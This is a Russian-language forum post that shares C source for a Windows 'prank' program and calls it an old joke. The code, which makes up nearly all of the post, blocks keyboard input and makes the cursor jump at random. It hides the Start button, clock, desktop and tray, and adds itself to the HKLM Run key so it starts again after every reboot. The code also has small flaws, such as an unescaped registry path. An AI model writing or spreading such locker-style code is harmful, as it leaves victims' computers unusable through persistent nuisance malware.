* Блокируем клавиатуру
* Скрываем несколько окошек
* Летающий курсор..))
Баян. Избавится от него просто, с ДЗ то код ничего не вытворяет.
Клавиатуру блокирует частично. Я полазил по нету.. просто собрал немного инфы в код. Надеюсь кому пригодится.
#include <windows.h> // Win32
#include <winable.h> // BlockInput
#include <process.h> // Для треда
void Thread(void* pParams)
{
while(true) { // Мутим бешенный курсор
SetCursorPos(rand() % 1920, rand() % 1080);
Sleep(100);
}
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// Запускаем тред
_beginthread(Thread, 0, NULL);
// Блокируем клавиатуру
BlockInput(true); // false - разблокируем
// Ставим программу на автозапуск
HKEY hKey;
int MAX = 100;
char buffer[MAX];
GetModuleFileName(NULL, buffer, MAX);
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL);
RegSetValueEx(hKey, "My", 0, REG_SZ, (PBYTE)buffer, 2 * strlen(buffer) + 1);
RegCloseKey(hKey);
// Скрываем пуск
HWND hWnd;
hWnd = FindWindow("Shell_TrayWnd", NULL);
hWnd = FindWindowEx(hWnd, NULL, "BUTTON", NULL);
ShowWindow(hWnd, SW_HIDE);
// Прячем часы
HWND hClockWnd = FindWindowEx(FindWindowEx(FindWindowEx(NULL, NULL, "Shell_TrayWnd", NULL),
NULL, "TrayNotifyWnd", NULL), NULL, "TrayClockWClass", NULL);
if (hClockWnd) ShowWindow(hClockWnd, SW_HIDE);
// Убираем рабочий стол
ShowWindow(FindWindow("Progman", NULL), SW_HIDE);
// Убираем трей
ShowWindow(FindWindowEx(FindWindow("Shell_TrayWnd", NULL), HWND(0), "TrayNotifyWnd", NULL), SW_HIDE);
/*
* Чтоб все показать обратно:
* Вместо SW_HIDE - SW_SHOW
*/
while(true); // Пусть курсор еще полетает))
return 0;
}